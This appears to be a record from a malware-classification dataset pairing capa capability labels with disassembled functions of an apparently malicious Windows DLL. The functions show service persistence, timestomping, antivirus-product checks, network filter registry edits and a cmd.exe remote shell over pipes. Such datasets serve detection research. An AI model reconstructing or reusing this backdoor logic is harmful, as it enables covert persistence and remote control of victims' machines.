joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005c80
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [0x10036fb0]
sub esp, 0x7d8
push ebx
mov ebx, ecx
push ebp
push edi
cmp dword [ebx + 0x11c], eax
je 0x10005c9e
mov dword [ebx + 0x11c], eax
mov ebp, dword [esp + 0x7ec]
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x14]
cmp ebp, 0x5dc
mov dword [esp + 0xc], 0
rep stosd dword es:[edi], eax
jle 0x10005cce
pop edi
pop ebp
pop ebx
add esp, 0x7d8
ret 8
mov ecx, dword [ebx + 0x18c]
push esi
mov eax, ecx
lea esi, [ebx + 0x128]
lea edi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebx + 0x1b0]
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
jle 0x10005d0c
lea ecx, [ebp + 0x1e]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
mov edx, dword [ebx + 0x1b0]
mov word [esp + edx + 0x18], ax
mov ecx, dword [ebx + 0x18c]
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x7f0]
lea edx, [esp + ecx + 0x1c]
mov ecx, ebx
push edx
push ebp
push eax
call fcn.10005ac0
mov eax, dword [esp + 0x10]
mov edx, dword [ebx + 0x18c]
lea ecx, [esp + 0x14]
add eax, edx
push 0
push ecx
mov dword [esp + 0x18], eax
push eax
mov eax, dword [ebx + 4]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test esi, esi
jne 0x10005d66
lea ecx, [ebx + 0x14]
push 1
push ecx
mov ecx, ebx
call fcn.100058e0
mov eax, esi
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x7d8
ret 8
Function at 0x10006190
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x618
mov ecx, dword [esp + 0x61c]
lea eax, [esp]
push ebx
xor ebx, ebx
push eax
push 0x20019
push ebx
push ecx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100061c9
xor eax, eax
pop ebx
add esp, 0x618
ret
push ebx
push ebx
mov eax, dword [esp + 0xc]
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x20]
push ebx
push edx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [esp + 8]
cmp eax, ebx
je 0x10006303
jbe 0x10006303
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
push eax
rep stosd dword es:[edi], eax
push eax
push eax
lea ecx, [esp + 0x28]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
push eax
mov dword [esp + 0x3c], 0x104
call ebp
mov edx, dword [esp + 0x62c]
lea ecx, [esp + 0x24]
push ecx
push edx
lea eax, [esp + 0x130]
push str._s_sConnection_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x128]
push ecx
push 0x20019
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100062f3
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
lea ecx, [esp + 0x228]
push eax
push ecx
push 0
push 0
push str.PnpInstanceID
push edx
mov dword [esp + 0x38], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100062e8
push 4
lea eax, [esp + 0x22c]
push str.ROOT
push eax
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
je 0x100062f3
mov edx, dword [esp + 0x634]
mov eax, dword [edx]
cmp eax, 9
jge 0x100062e8
mov ecx, eax
lea esi, [esp + 0x24]
shl ecx, 6
add ecx, eax
mov eax, dword [esp + 0x630]
lea edi, [eax + ecx*4]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
inc dword [edx]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
inc ebx
cmp ebx, eax
jb 0x100061fe
pop edi
pop esi
pop ebp
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ebx
add esp, 0x618
ret

Function at 0x10006550
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x3ec
lea eax, [esp + 4]
push str.SYSTEMCurrentControlSetServices_vsdatant
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
lea ecx, [esp]
lea edx, [esp + 4]
push ecx
push 0xf003f
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100065c6
mov eax, dword [esp + 0x3f0]
test eax, eax
je 0x100065af
mov eax, dword [esp]
push 0x1e
push str.__C:ProgramDatamssystem.dat
push 2
push 0
push str.ImagePath
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0x3ec
ret
xor eax, eax
add esp, 0x3ec
ret
Function at 0x100065d0
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x404
lea ecx, [esp + 4]
push eax
push str.SYSTEMCurrentControlSetControlNetwork4d36e974_e325_11ce_bfc1_08002be10318_sNdi
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp]
lea eax, [esp + 4]
push edx
push 2
push 0
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000663c
mov ecx, dword [esp]
push 8
push str.PschedFw
push 1
push eax
push str.Service
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0x404
ret
xor eax, eax
add esp, 0x404
ret
Function at 0x10006b70
Capabilities:
Create thread

Disassembly:
push ecx
push edi
push 0x7d6
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
add esp, 4
test edx, edx
je 0x10006b94
mov ecx, 0x1f4
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, edx
jmp 0x10006b96
xor eax, eax
mov edx, dword [esp + 0x10]
cmp edx, 0x7d0
jle 0x10006ba7
xor eax, eax
pop edi
pop ecx
ret
mov ecx, edx
push ebx
mov ebx, ecx
push esi
mov esi, dword [esp + 0x14]
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
mov word [eax + 0x7d4], dx
push ecx
push 0
push eax
push 0x10006b40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebx
test eax, eax
je 0x10006bf2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop ecx
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 1
pop edi
pop ecx
ret

Function at 0x10006cf0
Capabilities:
Create thread
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov eax, dword [0x10037550]
sub esp, 0x1a4
test eax, eax
jne 0x10006d6b
lea eax, [esp + 0x14]
push eax
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x10037040], eax
jne 0x10006d2e
xor eax, eax
add esp, 0x1a4
ret
mov eax, dword [0x10037554]
mov dword [0x10037550], 1
test eax, eax
jne 0x10006d5e
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0x10006c00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10037554], eax
push str.SocketInit
call fcn.10009030
add esp, 4
push 0x1f40
mov word [esp + 4], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x10036fb0]
mov ecx, dword [esp + 0x1ac]
mov word [esp + 2], ax
lea eax, [esp]
push 0x10
mov dword [esp + 8], edx
mov edx, dword [esp + 0x1ac]
push eax
mov eax, dword [0x10037040]
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x10006dcc
push str.SendError
call fcn.10009030
add esp, 4
xor eax, eax
add esp, 0x1a4
ret
mov eax, 1
add esp, 0x1a4
ret
Function at 0x100070a0
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x120
push ebx
push ebp
mov ebp, dword [esp + 0x12c]
push esi
push edi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 1
jne 0x100070cf
xor esi, esi
mov dword [esp + 0x10], esi
jmp 0x100070d1
xor esi, esi
mov edi, dword [esp + 0x138]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x100070e8
mov dword [esp + 0x10], esi
mov ebx, dword [esp + 0x13c]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x10007101
mov dword [esp + 0x10], esi
lea eax, [esp + 0x14]
push eax
push 3
push esi
push str.SYSTEMCurrentControlSetServicesMSSYSTEM
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100071de
mov ecx, 0x46
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
push esi
push esi
push str.ImagePath
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or al, 0xc0
add dl, byte [eax]
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x100071ff
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x120
ret
push 0
mov eax, dword [esp + 0x13c]
push 0
push 0
push 0
push 0
push ebx
push 1
push 2
push 1
push 0xf01ff
push eax
push ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x100071bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x100071c4
mov dword [esp + 0x10], 1
jmp 0x100071c4

Function at 0x10007240
Capabilities:
Start service

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov ebx, 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1000725e
pop edi
pop esi
pop ebx
ret
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
jne 0x10007283
mov esi, dword [esp + 0x14]
or ebx, 0xffffffff
jmp 0x100072ac
push 0xf01ff
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x100072b3
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebx, eax
test ebx, ebx
jne 0x100072ac
mov ebx, 0xfffffffd
test esi, esi
je 0x100072b3
push esi
call ebp
test edi, edi
je 0x100072ba
push edi
call ebp
pop ebp
pop edi
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x10007380
Capabilities:
Copy file
Delete file
Move file
Set file attributes

Disassembly:
sub esp, 0x20c
push ebx
mov ebx, dword [esp + 0x214]
push edi
mov edi, dword [sym.imp.MSVCRT.dll__access]
push 0
push ebx
call edi
add esp, 8
test eax, eax
je 0x100073ac
pop edi
xor eax, eax
pop ebx
add esp, 0x20c
ret
push ebp
push esi
mov esi, dword [esp + 0x224]
push 0
push esi
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 8
test eax, eax
jne 0x10007415
push 0x1003016c
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
je 0x100073f5
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call ebp
jmp 0x10007415
push esi
lea eax, [esp + 0x14]
push 0x100307ac
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 0x14
call fcn.10007500
mov edi, eax
cmp edi, 1
jne 0x1000742a
push ebx
call fcn.100072d0
add esp, 4
push esi
push str.System_device_driver
push str.msSystem
call fcn.100070a0
add esp, 0xc
cmp eax, 1
jne 0x1000746b
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp edi, 2
je 0x1000745e
push str.msSystem
call fcn.10007240
add esp, 4
push esi
call ebp
push 5
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0x20c
ret

Function at 0x10007480
Capabilities:
Move file

Disassembly:
sub esp, 0x20c
push esi
mov esi, dword [esp + 0x218]
push edi
push 0x1003016c
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
je 0x100074ae
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x100074ce
push esi
lea eax, [esp + 0xc]
push 0x100307ac
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x14]
push ecx
push esi
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 0x14
mov edx, dword [esp + 0x220]
mov eax, dword [esp + 0x218]
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push esi
mov edi, eax
call fcn.10007640
add esp, 4
mov eax, edi
pop edi
pop esi
add esp, 0x20c
ret
Function at 0x10007500
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x240
lea ecx, [esp + 0xc]
push ebx
mov dword [esp + 8], ecx
mov cl, byte [str.TSKSP]
push ebp
mov eax, str.TSKSP
push esi
push edi
test cl, cl
mov dword [esp + 0x1c], 1
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 2
mov dword [esp + 0x28], str.KVFileGuard
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0x100375c4
je 0x10007611
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push eax
lea edx, [esp + 0x150]
push str.SYSTEMCurrentControlSetServices_s
push edx
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14c]
push eax
push 1
push 0
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100075fa
mov ecx, 0x46
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
lea eax, [esp + 0x34]
push edx
push eax
push 0
push 0
push str.ImagePath
push ecx
mov dword [esp + 0x30], 0x104
call esi
lea edx, [esp + 0x34]
push 0x100307b0
push edx
call ebx
add esp, 8
test eax, eax
jne 0x100075dc
lea eax, [esp + 0x34]
jmp 0x100075df
add eax, 4
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x1000761e
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
add eax, 8
mov dword [esp + 0x14], eax
mov eax, dword [eax + 4]
cmp byte [eax], 0
jne 0x10007563
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov eax, dword [edx]
pop ebx
add esp, 0x240
ret
Function at 0x10007640
Capabilities:
Get common file path
Timestomp file

Disassembly:
sub esp, 0x11c
lea eax, [esp + 0x18]
push ebx
push ebp
push esi
push edi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._systemMMSYSTEM.DLL
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 0x2000000
and ecx, 3
push 3
push eax
push 1
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x3c]
push bind
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
je 0x100076cb
lea ecx, [esp + 0x18]
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call ebx
mov eax, dword [esp + 0x10]
xor ebp, ebp
test eax, eax
jbe 0x10007721
mov ecx, dword [esp + 0x130]
push ebp
push 0x2000000
push 3
push ebp
push 5
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x10007721
lea edx, [esp + 0x18]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
push esi
mov edi, 1
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret
Function at 0x100077c0
Capabilities:
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes
Get common file path
Read file on windows

Disassembly:
sub esp, 0x9c0
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov eax, dword [ebp + 4]
lea edi, [ebp + 4]
test eax, eax
mov dword [esp + 0x24], edi
je 0x100077f1
mov eax, dword [ebp + 8]
test eax, eax
je 0x100077f1
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x9c0
ret
lea eax, [esp + 0x18]
push 0
lea ebx, [ebp + 0xc]
push eax
mov esi, 1
push edi
push ebx
mov dword [esp + 0x28], 0xc
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x100079c0
mov dword [esp + 0x20], esi
lea ecx, [esp + 0x18]
lea esi, [ebp + 0x10]
push 0
lea eax, [ebp + 8]
push ecx
push esi
push eax
mov dword [esp + 0x28], 0xc
mov dword [esp + 0x2c], 0
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10007882
mov edx, dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [edi]
push eax
call esi
mov dword [edi], 0
pop edi
pop esi
mov dword [ebx], 0
pop ebp
xor eax, eax
pop ebx
add esp, 0x9c0
ret
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi]
mov edx, dword [ebx]
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], eax
lea eax, [esp + 0x6c]
mov dword [esp + 0x54], 0x101
push eax
mov dword [esp + 0x64], edx
mov word [esp + 0x5c], 0
mov dword [esp + 0x70], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x100]
push 0x105
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp dword [esp + 0x7c], 2
jne 0x1000798a
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x100]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
add ebp, 0x14
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x28]
push ebp
mov ecx, edx
push eax
push 0
and ecx, 3
push 0
push 0
rep movsb byte es:[edi], byte [esi]
push 1
push 0
push 0
lea ecx, [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10007982
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x200]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
push eax
push edx
lea eax, [esp + 0x208]
mov edx, dword [ecx]
push 0x7d0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x9c0
ret
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x14]
mov eax, dword [ebx]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebp
mov ecx, dword [edi]
push ecx
call ebp
mov edx, dword [esi]
mov dword [ebx], 0
push edx
mov dword [edi], 0
call ebp
mov edi, dword [esp + 0x10]
mov eax, dword [edi]
push eax
call ebp
mov dword [esi], 0
mov dword [edi], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x9c0
ret
Function at 0x100079d0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
xor edi, edi
push eax
push edi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100079fb
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x10007a60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x540c
call fcn.10010280
push ebx
push esi
xor esi, esi
push edi
mov ebx, ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0xc], esi
call fcn.100077c0
test eax, eax
jne 0x10007a93
pop edi
pop esi
mov eax, str.init_error
pop ebx
add esp, 0x540c
ret 4
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x541c]
lea ecx, [esp + 0x18]
push eax
push str._s_r_n
push 0x400
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov ecx, dword [ebx + 4]
add esp, 0x10
lea edx, [esp + 0x14]
push esi
push edx
push eax
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10007aeb
pop edi
pop esi
mov eax, str.write_command_error
pop ebx
add esp, 0x540c
ret 4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebp
mov ecx, 0x1400
xor eax, eax
lea edi, [esp + 0x41c]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 8]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push eax
push edx
lea eax, [esp + 0x424]
push 0x5000
push eax
push ecx
call edi
test eax, eax
je 0x10007b72
lea eax, [esp + 0x41c]
dec eax
mov dword [esp + 0x14], eax
jmp 0x10007b3b
mov eax, dword [esp + 0x14]
add esi, dword [esp + 0x10]
cmp byte [eax + esi], 0x3e
je 0x10007b72
cmp esi, 0x5000
jae 0x10007b72
push 0x64
call ebp
mov eax, 0x5000
lea edx, [esp + 0x10]
push 0
sub eax, esi
push edx
mov edx, dword [ebx + 8]
lea ecx, [esp + esi + 0x424]
push eax
push ecx
push edx
call edi
test eax, eax
jne 0x10007b37
pop ebp
pop edi
pop esi
lea eax, [esp + 0x410]
pop ebx
add esp, 0x540c
ret 4
Function at 0x10008550
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x1000859e
push str.MoveFileExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 4], eax
je 0x1000859e
mov eax, dword [ebp + 0xc]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
push 0
push dword [ebp + 0xc]
call dword [ebp - 4]
mov edx, eax
push 4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 4]
mov edx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10008980
Capabilities:
Delete file

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
mov edi, eax
xor esi, esi
mov ecx, 0x100377f4
mov eax, dword [ecx]
cmp eax, ebx
jle 0x100089aa
sub eax, edi
cdq
xor eax, edx
sub eax, edx
cmp eax, 0x14
jg 0x100089bd
add ecx, 0x218
inc esi
cmp ecx, 0x1003826c
jl 0x10008998
pop edi
pop esi
pop ebx
ret
mov eax, esi
shl eax, 5
add eax, esi
lea edi, [esi + eax*2]
shl edi, 3
lea esi, [edi + 0x100375f0]
push esi
call fcn.100085b0
add esp, 4
cmp eax, 8
je 0x100089f6
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov cx, word [edi + 0x100377e4]
push ecx
push 9
push str.error
jmp 0x10008a05
mov dx, word [edi + 0x100377e4]
push edx
push 9
push 0x100301e8
push esi
call fcn.10007da0
mov ecx, 0x7d
xor eax, eax
mov edi, esi
add esp, 0x10
rep stosd dword es:[edi], eax
lea ecx, [esi + 0x1f8]
mov word [esi + 0x1f4], bx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [esi + 0x200], ebx
mov word [esi + 0x208], bx
mov dword [esi + 0x204], ebx
mov ebx, dword [esi + 0x210]
mov edi, dword [ebx]
cmp edi, ebx
je 0x10008a77
mov eax, edi
mov edi, dword [edi]
push eax
mov edx, dword [eax + 4]
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
call fcn.10010220
mov ecx, dword [esi + 0x214]
add esp, 4
dec ecx
cmp edi, ebx
mov dword [esi + 0x214], ecx
jne 0x10008a4a
pop edi
pop esi
pop ebx
ret